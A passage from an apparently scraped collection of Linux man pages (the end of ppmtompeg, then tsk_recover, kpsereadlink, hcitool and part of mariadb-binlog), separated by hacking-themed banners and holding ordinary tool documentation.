This statement is obsolete. It does nothing.

Before Netpbm 10.26 (January 2005), ppmtompeg would drop trailing B frames from your movie, since a movie can’t end with a B frame. (See I Frames, P Frames, B Frames .) You would have to specify FORCE_ENCODE_LAST_FRAME to stop that from happening and get the same function that ppmtompeg has today.

NIQTABLE
This statement specifies a custom non-intra quantization table. If you don’t specify this statement, ppmtompeg uses a default non-intra quantization table.

The 8 lines immediately following NIQTABLE specify the quantization table. Each line defines a table row and consists of 8 integers, whitespace-delimited, which define the table columns.

IQTABLE
This is analogous to NIQTABLE, but for the intra quantization table.

ASPECT_RATIO ratio
This statement specifies the aspect ratio for ppmtompeg to specify in the MPEG output. I’m not sure what this is used for.

ratio must be 1.0, 0.6735, 0.7031, 0.7615, 0.8055, 0.8437, 0.8935, 0.9157, 0.9815, 1.0255, 1.0695, 1.0950, 1.1575, or 1.2015.

FRAME_RATE rate
This specifies the frame rate for ppmtompeg to specify in the MPEG output. Some players use this value to determine the playback rate.

rate must be 23.976, 24, 25, 29.97, 30, 50, 59.94, or 60.

BIT_RATE rate
This specifies the bit rate for Constant Bit Rate (CBR) encoding.

rate must be an integer.

BUFFER_SIZE size
This specifies the value ppmtompeg is to specify in the MPEG output for the Video Buffering Verifier (VBV) buffer size needed to decode the sequence.

A Video Verifying Buffer is a buffer in which a decoder keeps the decoded bits in order to match the uneven speed of the decoding with the required constant playback speed.

As ppmtompeg encodes the image, it simulates the decoding process in terms of how many bits would be in the VBV as each frame gets decoded, assuming a VBV of the size you indicate.

If you specify the WARN_VBV_UNDERFLOW statement, ppmtompeg issues a warning each time the simulation underflows the buffer, which suggests that an underflow would occur on playback, which suggests the buffer is too small.

If you specify the WARN_VBV_OVERFLOW statement, ppmtompeg issues a warning each time the simulation overflows the buffer, which suggests that an overflow would occur on playback, which suggests the buffer is too small.

WARN_VBV_UNDERFLOW
WARN_VBV_OVERFLOW
See BUFFER_SIZE*.*

These options were new in Netpbm 10.26 (January 2005). Before that, ppmtompeg issued the warnings always.

The following statements apply only to parallel operation:

PARALLEL
This statement, paired with END PARALLEL*, is what causes* ppmtompeg to operate in parallel mode. See Parallel Operation .

END PARALLEL
This goes with PARALLEL*.*

PARALLEL_TEST_FRAMES n
The master starts off by measuring each slave’s speed. It does this by giving each slave n frames to encode and noting how long the slave takes to finish. These are not just test frames, though – they’re real frames and the results become part of the output. ppmtompeg is old and measures time in undivided seconds, so to get useful timings, specify enough frames that it will take at least 5 seconds to process them. The default is 10.

If you specify FORCE_I_ALIGN*,* ppmtompeg will increase the test frames value enough to maintain the alignment.

If there aren’t enough frames for every slave to have the indicated number of test frames, ppmtompeg will give some slaves fewer.

PARALLEL_TIME_CHUNKS t
When you specify this statement, the master attempts to feed work to the slaves in chunks that take t seconds to process. It uses the speed measurement it made when it started up (see PARALLEL_TEST_FRAMES) to decide how many frames to put in the chunk. This statement obviously doesn’t affect the first batch of work sent to each slave, which is the one used to measure the slave’s speed.

Smaller values of t increase communication, but improve load balancing. The default is 30 seconds.

You may specify only one of PARALLEL_TIME_CHUNKS, PARALLEL_CHUNK_TAPER, and PARALLEL_PERFECT. PARALLEL_CHUNK_TAPER is usually best.

PARALLEL_CHUNK_TAPER
When you specify this statement, the master distributes work like with PARALLEL_TIME_CHUNKS, except that the master chooses the number of seconds for the chunks. It starts with a large number and, as it gets closer to finishing the job, reduces it. That way, it reduces scheduling overhead when precise scheduling isn’t helpful, but still prevents a slave from finishing early after all the work has already been handed out to the other slaves, and then sitting idle while there’s still work to do.

You may specify only one of PARALLEL_TIME_CHUNKS, PARALLEL_CHUNK_TAPER, and PARALLEL_PERFECT. PARALLEL_CHUNK_TAPER is usually best.

PARALLEL_PERFECT
If this statement is present, ppmtompeg schedules on the assumption that each machine is about the same speed. The master will simply divide up the frames evenly between the slaves – each slave gets the same number of frames. If some slaves are faster than others, they will finish first and remain idle while the slower slaves continue.

This has the advantage of minimal scheduling overhead. Where slaves have different speeds, though, it makes inefficient use of the fast ones. Where slaves are the same speed, it also has the disadvantage that they all finish at the same time and feed their output to the single Combine Server in a burst, which makes less efficient use of the Combine Server and thus can increase the total elapsed time.

You may specify only one of PARALLEL_TIME_CHUNKS, PARALLEL_CHUNK_TAPER, and PARALLEL_PERFECT. PARALLEL_CHUNK_TAPER is usually best.

RSH remote_shell_command
ppmtompeg executes the shell command remote_shell_command to start a process on another machine. The default command is rsh*, and whatever command you specify* must have compatible semantics. ssh is usually compatible. The command ppmtompeg uses is one like this: ssh remote.host.com -l username shellcommand*.*

Be sure to set up .rhosts files or SSH key authorizations where needed. Otherwise, you’ll have to type in passwords.

On some HP machines, rsh is the restricted shell, and you want to specify remsh*.*

FORCE_I_ALIGN
This statement forces each slave to encode a chunk of frames which is a multiple of the pattern length (see PATTERN*). Since the* first frame in any pattern is an I frame, this forces each chunk encoded by a slave to begin with an I frame.

This document used to say there was an argument to FORCE_I_ALIGN which was the number of frames ppmtompeg would use (and was required to be a multiple of the pattern length). But ppmtompeg has apparently always ignored that argument, and it does now.

KEEP_TEMP_FILES
This statement causes ppmtompeg not to delete the temporary files it uses to transmit encoded frames to the combine server. This means you will be left with a file for each frame, the same as you would get with the -frames option.

This is mostly useful for debugging.

This works only if you’re using a shared filesystem to communicate between the servers.

This option was new in Netpbm 10.26 (January 2005).

Parameter File Notes

If you use the -combine_gops option, then you need to specify only the SIZE and OUTPUT values in the parameter file. In addition, the parameter file may specify input GOP files in the same manner as normal input files – except instead of using INPUT_DIR, INPUT, and END_INPUT, use GOP_INPUT_DIR, GOP_INPUT, and GOP_END_INPUT. If you specify no input GOP files, then ppmtompeg uses by default the output file name with suffix **.gop.**gop_num, with gop_num starting from 0, as the input files.

If you use the -combine_frames option, then you need to specify only the SIZE, GOP_SIZE, and OUTPUT values in the parameter file. In addition, the parameter file may specify input frame files in the same manner as normal input files – except instead of using INPUT_DIR, INPUT, and END_INPUT, use FRAME_INPUT_DIR, FRAME_INPUT, and FRAME_END_INPUT. If no input frame files are specified, then the default is to use the output file name with suffix **.frame.**frame_num, with frame_num starting from 0, as the input files.

Any number of spaces and tabs may come between each option and value. Lines beginning with # are ignored. Any other lines are ignored except for those between INPUT and END_INPUT. This allows you to use the same parameter file for normal usage and for -combine_gops and -combine_frames*.*

The file format is case-sensitive so all keywords should be in upper case.

The statements may appear in any order, except that the order within a block statement (such as INPUT … END INPUT) is significant.

ppmtompeg is prepared to handle up to 16 B frames between reference frames when encoding with input from stdin. (To build a modified ppmtompeg with a higher limit, change the constant B_FRAME_RUN in frame.c and recompile).

GENERAL USAGE INFORMATION

Qscale

The quantization scale values (qscale) give a trade-off between quality and compression. Using different Qscale values has very little effect on speed. The qscale values can be set separately for I, P, and B frames.

You select the qscale values with the IQSCALE*,* PQSCALE*, and* BSCALE parameter file statements.

A qscale value is an integer from 1 to 31. Larger numbers give better compression, but worse quality. In the following, the quality numbers are peak signal-to-noise ratio, defined as: signal-to-noise formula

where MSE is the mean squared error.

Flower garden tests:

Qscale vs Quality

_
QscaleI FramesP FramesB Frames
143.246.346.5
632.634.634.3
1128.629.530.0
1626.326.828.6
2124.725.027.9
2623.523.927.5
3122.623.027.3

Qscale vs Compression

_
QscaleI FramesP FramesB Frames
1222
671015
11111843
16152997
211941173
262456256
312873330

Search Techniques

There are several different motion vector search techniques available. There are different techniques available for P frame search and B frame search. Using different search techniques present little difference in quality, but a large difference in compression and speed.

There are 4 types of P frame search: Exhaustive, TwoLevel, SubSample, and Logarithmic.

There are 3 types of B frame search: Exhaustive, Cross2, and Simple. The recommended search techniques are TwoLevel and Logarithmic for P frame search, and Cross2 and Simple for B frame search. Here are some numbers comparing the different search methods: P frame Motion Vector Search (Normalized)

_
TechniqueCompression 1Speed 2Quality 3
Exhaustive100010001000
SubSample100824561000
TwoLevel100932371000
Logarithmic10858229998

B frame Motion Vector Search (Normalized)

_
TechniqueCompression 1Speed 2Quality 3
Exhaustive100010001000
Cross29751000996
Simple9381765991

1Smaller numbers are better compression.

2Larger numbers mean faster execution.

3Larger numbers mean better quality.

For some reason, Simple seems to give better compression, but it depends on the image sequence.

Select the search techniques with the PSEARCH_ALG and BSEARCH_ALG parameter file statements.

Group Of Pictures (GOP)

A Group of Pictures (GOP) is a roughly independently decodable sequence of frames. An MPEG video stream is made of one or more GOP’s. You may specify how many frames should be in each GOP with the GOP_SIZE parameter file statement. A GOP always starts with an I frame.

Instead of encoding an entire sequence, you can encode a single GOP. To do this, use the -gop command option. You can later join the resulting GOP files at any time by running ppmtompeg with the -combine_gops command option.

Slices

A slice is an independently decodable unit in a frame. It can be as small as one macroblock, or it can be as big as the entire frame. Barring transmission error, adding slices does not change quality or speed; the only effect is slightly worse compression. More slices are used for noisy transmission so that errors are more recoverable. Since usually errors are not such a problem, we usually just use one slice per frame.

Control the slice size with the SLICES_PER_FRAME parameter file statement.

Some MPEG playback systems require that each slice consist of whole rows of macroblocks. If you are encoding for this kind of player, if the height of the image is H pixels, then you should set the SLICES_PER_FRAME to some number which divides H/16. For example, if the image is 240 pixels (15 macroblocks) high, then you should use only 15, 5, 3, or 1 slices per frame.

Note: these MPEG playback systems are really wrong, since the MPEG standard says this doesn’t have to be so.

Search Window

The search window is the window in which ppmtompeg searches for motion vectors. The window is a square. You can specify the size of the square, and whether to allow half-pixel motion vectors or not, with the RANGE and PIXEL parameter file statements.

I Frames, P Frames, B Frames

In MPEG-1, a movie is represented as a sequence of MPEG frames, each of which is an I Frame, a P Frame, or a B Frame. Each represents an actual frame of the movie (don’t get confused by the dual use of the word “frame.” A movie frame is a graphical image. An MPEG frame is a set of data that describes a movie frame).

An I frame (“intra” frame) describes a movie frame in isolation – without respect to any other frame in the movie. A P frame (“predictive” frame) describes a movie frame by describing how it differs from the movie frame described by the latest preceding I or P frame. A B frame (“bidirectional” frame) describes a movie frame by describing how it differs from the movie frames described by the nearest I or P frame before and after it.

Note that the first frame of a movie must be described by an I frame (because there is no previous movie frame) and the last movie frame must be described by an I or P frame (because there is no subsequent movie frame).

Beyond that, you can choose which frames are represented by which types. You specify a pattern, such as IBPBP and ppmtompeg simply repeats it over and over throughout the movie. The pattern affects speed, quality, and stream size. Here is a chart which shows some of the trade-offs:

Comparison of I/P/B Frames (Normalized)

_
Frame TypeSizeSpeedQuality
I frames100010001000
P frames409609969
B frames72260919

(this is with constant qscale)

A standard sequence is IBBPBBPBBPBBPBB.

Select the sequence with the PATTERN parameter file statement.

Since the last MPEG frame cannot be a B frame (see above), if the pattern you specify indicates a B frame for the last movie frame of the movie, ppmtompeg makes it an I frame instead.

Before Netpbm 10.26 (January 2005), ppmtompeg instead drops the trailing B frames by default, and you need the FORCE_ENCODE_LAST_FRAME parameter file statement to make it do this.

The MPEG frames don’t appear in the MPEG-1 stream in the same order that the corresponding movie frames appear in the movie – the B frames come after the I and P frames on which they are based. For example, if the movie is 4 frames that you will represent with the pattern IBBP, the MPEG-1 stream will start with an I frame describing movie frame 0. The next frame in the MPEG-1 stream is a P frame describing movie frame 3. The last two frames in the MPEG-1 stream are B frames describing movie frames 1 and 2, respectively.

Specifying Input and Output Files

Specify the input frame images with the INPUT_DIR*,* INPUT*,* END_INPUT*,* BASE_FILE_FORMAT*,* SIZE*,* YUV_FORMAT and INPUT_CONVERT parameter file statements.

Specify the output file with the OUTPUT parameter file statement.

Statistics

ppmtompeg can generate a variety of statistics about the encoding. See the -stat*,* -snr*,* -mv_histogram*,* -quiet*,* -no_frame_summary*, and* -bit_rate_info options.

PARALLEL OPERATION

You can run ppmtompeg on multiple machines at once, encoding the same MPEG stream. When you do, the machines are used as shown in the following diagram. We call this “parallel mode.”

ppmtompeg-par.gif

To do parallel processing, put the statement

    PARALLEL

in the parameter file, followed by a listing of the machines, one machine per line, then

    END_PARALLEL

Each of the machine lines must be in one of two forms. If the machine has filesystem access to the input files, then the line is:

machine user executable

The executable is normally ppmtompeg (you may need to give the complete path if you’ve built for different architectures). If the machine does not have filesystem access to the input files, the line is:

REMOTE machine user executable parameter file

The -max_machines command option limits the number of machines ppmtompeg will use. If you specify more machines in the parameter file than -max_machines allows, ppmtompeg uses only the machines listed first. This is handy if you want to experiment with different amounts of parallelism.

In general, you should use full path file names when describing executables and parameter files. This includes the parameter file argument on the original invocation of ppmtompeg*.*

All file names must be the same on all systems (so if e.g. you’re using an NFS filesystem, you must make sure it is mounted at the same mountpoint on all systems).

Because not all of the processes involved in parallel operation have easy access to the input files, you must specify the SIZE parameter file statement when you do parallel operation.

The machine on which you originally invoke ppmtompeg is the master machine. It hosts a “combine server,”, a “decode server,” and a number of “i/o servers,” all as separate processes. The other machines in the network (listed in the parameter file) are slave machines. Each hosts a single process that continuously requests work from the master and does it. The slave process does the computation to encode MPEG frames. It processes frames in batches identified by the master.

The master uses a remote shell command to start a process on a slave machine. By default, it uses an rsh shell command to do this. But use the RSH parameter file statement to control this. The shell command the master executes remotely is ppmtompeg*, but with options to indicate that it is to perform* slave functions.

The various machines talk to each other over TCP connections. Each machine finds and binds to a free TCP port number and tells its partners the port number. These port numbers are at least 2048.

Use the PARALLEL_TEST_FRAMES, PARALLEL_TIME_CHUNKS, and PARALLEL_PERFECT parameter file statements to control the way the master divides up work among the slaves.

Use the -nice command option to cause all slave processes to run “nicely,” i.e. as low priority processes. That way, this substantial and long-running CPU load will have minimal impact on other, possibly interactive, users of the systems.

SPEED

Here is a look at ppmtompeg speed, in single-node (not parallel) operation:

Compression Speed

_
Machine TypeMacroblocks per second1
HP 9000/755280
DEC 3000/400247
HP 9000/750191
Sparc 10104
DEC 500068

1A macroblock is a 16x16 pixel square

The measurements in the table are with inputs and outputs via a conventional locally attached filesystem. If you are using a network filesystem over a single 10 MB/s Ethernet, that constrains your speed more than your CPU speed. In that case, don’t expect to get better than 4 or 5 frames per second no matter how fast your CPUs are.

Network speed is even more of a bottleneck when the slaves do not have filesystem access to the input files – i.e. you declare them REMOTE.

Where I/O is the bottleneck, size of the input frames can make a big difference. So YUV input is better than PPM, and JPEG is better than both.

When you’re first trying to get parallel mode working, be sure to use the -debug_machines option so you can see what’s going on. Also, -debug_sockets can help you diagnose communication problems.

AUTHORS

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtompeg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

407 - Linux cli command tsk_recover

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsk_recover and provides detailed information about the command tsk_recover, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsk_recover.

NAME 🖥️ tsk_recover 🖥️

Export files from an image into a local directory

SYNOPSIS

tsk_recover [-vVae] [ -f fstype ] [ -i imgtype ] [ -b dev_sector_size ] [ -o sector_offset ] [ -d dir_inum ] image [images] output_dir

DESCRIPTION

tsk_recover recovers files to the output_dir from the image. By default recovers only unallocated files. With flags, it will export all files.

The arguments are as follows:

-v
verbose output to stderr

-V
Print version

-a
Recover allocated files only

-e
Recover all files (allocated and unallocated)

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-i imgtype
The format of the image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-b dev_sector_size
The size (in bytes) of the device sectors. If not given, autodetection methods are used.

-o sector_offset
Sector offset for a volume to recover (recovers only that volume) If not given, will attempt to recover all volumes in image and save them to different folders.

-d dir_inum
Directory inum to recover from (must also specify a specific partition using -o or there must not be a volume system)

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

output_dir
The directory in which to save recovered files.

EXAMPLES

To recover only unallocated files from image.dd to the recovered directory:

# tsk_recover ./image.dd ./recovered

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

408 - Linux cli command kpsereadlink

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kpsereadlink and provides detailed information about the command kpsereadlink, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kpsereadlink.

NAME 🖥️ kpsereadlink 🖥️

print contents of symbolic link

SYNOPSIS

kpsereadlink file

DESCRIPTION

If file is a symbolic link, print its contents (what it links to), and exit successfully. Exit with a failure otherwise.

On systems that do not support symbolic links, kpsereadlink will always fail.

OPTIONS

kpsereadlink accepts the following options:

–help
Print help message and exit.

–version
Print version information and exit.

SEE ALSO

readlink(2)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

409 - Linux cli command hcitool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hcitool and provides detailed information about the command hcitool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hcitool.

NAME 🖥️ hcitool 🖥️

Configure Bluetooth connections

SYNOPSIS

hcitool -h

hcitool COMMAND –help

hcitool [-i hciX] [COMMAND [PARAMETERS]]

DESCRIPTION

hcitool(1) is used to configure Bluetooth connections and send some special command to Bluetooth devices. If no command is given, or if the option -h is used, hcitool prints some usage information and exits.

OPTIONS

-i* <hciX>*
The command is applied to device hciX, which must be the name of an installed Bluetooth device. If not specified, the command will be sent to the first available Bluetooth device.

-h
Gives a list of possible commands

COMMANDS

dev
Display local devices

inq
Inquire remote devices. For each discovered device, Bluetooth device address, clock offset and class are printed.

scan
Inquire remote devices. For each discovered device, device name are printed.

name <bdaddr>
Print device name of remote device with Bluetooth address bdaddr.

info <bdaddr>
Print device name, version and supported features of remote device with Bluetooth address bdaddr.

spinq
Start periodic inquiry process. No inquiry results are printed.

epinq
Exit periodic inquiry process.

cmd <ogf> <ocf> [parameters]
Submit an arbitrary HCI command to local device. ogf, ocf and parameters are hexadecimal bytes.

con
Display active baseband connections

cc [–role=c|p] [–pkt-type=<ptype>] <bdaddr>
Create baseband connection to remote device with Bluetooth address bdaddr.

Option –pkt-type specifies a list of allowed packet types. <ptype> is a comma-separated list of packet types, where the possible packet types are DM1, DM3, DM5, DH1, DH3, DH5, HV1, HV2, HV3. Default is to allow all packet types.

Option –role can have value c (do not allow role switch, stay central) or p (allow role switch, become peripheral if the peer asks to become central). Default is c.

dc <bdaddr> [reason]
Delete baseband connection from remote device with Bluetooth address bdaddr.

The reason can be one of the Bluetooth HCI error codes. Default is 19 for user ended connections. The value must be given in decimal.

sr <bdaddr> <role>
Switch role for the baseband connection from the remote device to central or peripheral.

cpt <bdaddr> <ptypes>
Change packet types for baseband connection to device with Bluetooth address bdaddr. ptypes is a comma-separated list of packet types, where the possible packet types are DM1, DM3, DM5, DH1, DH3, DH5, HV1, HV2, HV3.

rssi <bdaddr>
Display received signal strength information for the connection to the device with Bluetooth address bdaddr.

lq <bdaddr>
Display link quality for the connection to the device with Bluetooth address bdaddr.

tpl <bdaddr> [type]
Display transmit power level for the connection to the device with Bluetooth address bdaddr.

The type can be 0 for the current transmit power level (which is default) or 1 for the maximum transmit power level.

afh <bdaddr>
Display AFH channel map for the connection to the device with Bluetooth address bdaddr.

lp <bdaddr> [value]
With no value, displays link policy settings for the connection to the device with Bluetooth address bdaddr.

If value is given, sets the link policy settings for that connection to value. Possible values are RSWITCH, HOLD, SNIFF and PARK.

lst <bdaddr> [value]
With no value, displays link supervision timeout for the connection to the device with Bluetooth address bdaddr.

If value is given, sets the link supervision timeout for that connection to value slots, or to infinite if value is 0.

auth <bdaddr>
Request authentication for the device with Bluetooth address bdaddr.

enc <bdaddr> [encrypt]
enable or disable the encryption for the device with Bluetooth address bdaddr.

key <bdaddr>
Change the connection link key for the device with Bluetooth address bdaddr.

clkoff <bdaddr>
Read the clock offset for the device with Bluetooth address bdaddr.

clock [bdaddr] [clock]
Read the clock for the device with Bluetooth address bdaddr.

The clock can be 0 for the local clock or 1 for the piconet clock (which is default).

lescan [–privacy] [–passive] [–acceptlist] [–discovery=g|l] [–duplicates]
Start LE scan

leinfo [–static] [–random] <bdaddr>
Get LE remote information

lealadd [–random] <bdaddr>
Add device to LE Accept List

lealrm <bdaddr>
Remove device from LE Accept List

lealsz
Read size of LE Accept List

lealclr
Clear LE Accept List

lerladd [–local_irk] [–peer_irk] [–random] <bdaddr>
Add device to LE Resolving List

lerlrm <bdaddr>
Remove device from LE Resolving List

lerlclr
Clear LE Resolving List

lerlsz
Read size of LE Resolving List

lerlon
Enable LE Address Resolution

lerloff
Disable LE Address Resolution

lecc [–static] [–random] <bdaddr> | [–acceptlist]
Create a LE Connection

ledc <handle> [reason]
Disconnect a LE Connection

lecup <handle> <min> <max> <latency> <timeout>
LE Connection Update

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Marcel Holtmann <[email protected]>, Fabrizio Gennari <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

410 - Linux cli command mariadb-binlog

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-binlog and provides detailed information about the command mariadb-binlog, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-binlog.

NAME 🖥️ mariadb-binlog 🖥️

binlog - utility for processing binary log files (mysqlbinlog is now a symlink to mariadb-binlog)

SYNOPSIS

mysqlbinlog [options] log_file

DESCRIPTION

The server’s binary log consists of files containing “events” that describe modifications to database contents. The server writes these files in binary format. To display their contents in text format, use the mysqlbinlog utility. You can also use mysqlbinlog to display the contents of relay log files written by a slave server in a replication setup because relay logs have the same format as binary logs.

Invoke mysqlbinlog like this:

shell> mysqlbinlog [options] log_file …

For example, to display the contents of the binary log file named binlog.000003, use this command:

shell> mysqlbinlog binlog.0000003

The output includes events contained in binlog.000003. For statement-based logging, event information includes the SQL statement, the ID of the server on which it was executed, the timestamp when the statement was executed, how much time it took, and so forth. For row-based logging, the event indicates a row change rather than an SQL statement.

Events are preceded by header comments that provide additional information. For example:

at 141

#100309  9:28:36 server id 123  end_log_pos 245
  Query thread_id=3350  exec_time=11  error_code=0

In the first line, the number following at indicates the starting position of the event in the binary log file.

The second line starts with a date and time indicating when the statement started on the server where the event originated. For replication, this timestamp is propagated to slave servers. server id is the server_id value of the server where the event originated. end_log_pos indicates where the next event starts (that is, it is the end position of the current event + 1). thread_id indicates which thread executed the event. exec_time is the time spent executing the event, on a master server. On a slave, it is the difference of the end execution time on the slave minus the beginning execution time on the master. The difference serves as an indicator of how much replication lags behind the master. error_code indicates the result from executing the event. Zero means that no error occurred.

The output from mysqlbinlog can be re-executed (for example, by using it as input to mysql) to redo the statements in the log. This is useful for recovery operations after a server crash. For other usage examples, see the discussion later in this section.

Normally, you use mysqlbinlog to read binary log files directly and apply them to the local MariaDB server. It is also possible to read binary logs from a remote server by using the –read-from-remote-server option. To read remote binary logs, the connection parameter options can be given to indicate how to connect to the server. These options are –host, –password, –port, –protocol, –socket, and –user; they are ignored except when you also use the –read-from-remote-server option.

mysqlbinlog supports the following options, which can be specified on the command line or in the [mysqlbinlog] and [client] option file groups.

·

–help, -?

Display a help message and exit.

·

**–base64-output=**value

This option determines when events should be displayed encoded as base-64 strings using BINLOG statements. The option has these allowable values (not case sensitive):

·

AUTO (“automatic”) or UNSPEC (“unspecified”) displays BINLOG statements automatically when necessary (that is, for format description events and row events). This is the default if no –base64-output option is given.

Note

Automatic BINLOG display is the only safe behavior if you intend to use the output of mysqlbinlog to re-execute binary log file contents. The other option values are intended only for debugging or testing purposes because they may produce output that does not include all events in executable form.

·

NEVER causes BINLOG statements not to be displayed. mysqlbinlog exits with an error if a row event is found that must be displayed using BINLOG.

·

DECODE-ROWS specifies to mysqlbinlog that you intend for row events to be decoded and displayed as commented SQL statements by also specifying the –verbose option. Like NEVER, DECODE-ROWS suppresses display of BINLOG statements, but unlike NEVER, it does not exit with an error if a row event is found.

The –base64-output can be given as –base64-output or –skip-base64-output (with the sense of AUTO or NEVER).

For examples that show the effect of –base64-output and –verbose on row event output, see the section called “MYSQLBINLOG ROW EVENT DISPLAY”.

·

**–binlog-row-event-max-size=**path

The directory where character sets are installed.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

**–database=**db_name, -d db_name

This option causes mysqlbinlog to output entries from the binary log (local log only) that occur while db_name has been selected as the default database by USE.

The –database option for mysqlbinlog is similar to the –binlog-do-db option for mysqld, but can be used to specify only one database. If –database is given multiple times, only the last instance is used.

The effects of this option depend on whether the statement-based or row-based logging format is in use, in the same way that the effects of –binlog-do-db depend on whether statement-based or row-based logging is in use.

Statement-based logging. The –database option works as follows:

·

While db_name is the default database, statements are output whether they modify tables in db_name or a different database.

·

Unless db_name is selected as the default database, statements are not output, even if they modify tables in db_name.

·

There is an exception for CREATE DATABASE, ALTER DATABASE, and DROP DATABASE. The database being created, altered, or dropped is considered to be the default database when determining whether to output the statement.

Suppose that the binary log was created by executing these statements using statement-based-logging:

INSERT INTO test.t1 (i) VALUES(100); INSERT INTO db2.t2 (j) VALUES(200); USE test; INSERT INTO test.t1 (i) VALUES(101); INSERT INTO t1 (i) VALUES(102); INSERT INTO db2.t2 (j) VALUES(201); USE db2; INSERT INTO test.t1 (i) VALUES(103); INSERT INTO db2.t2 (j) VALUES(202); INSERT INTO t2 (j) VALUES(203);

mysqlbinlog –database=test does not output the first two INSERT statements because there is no default database. It outputs the three INSERT statements following USE test, but not the three INSERT statements following USE db2.

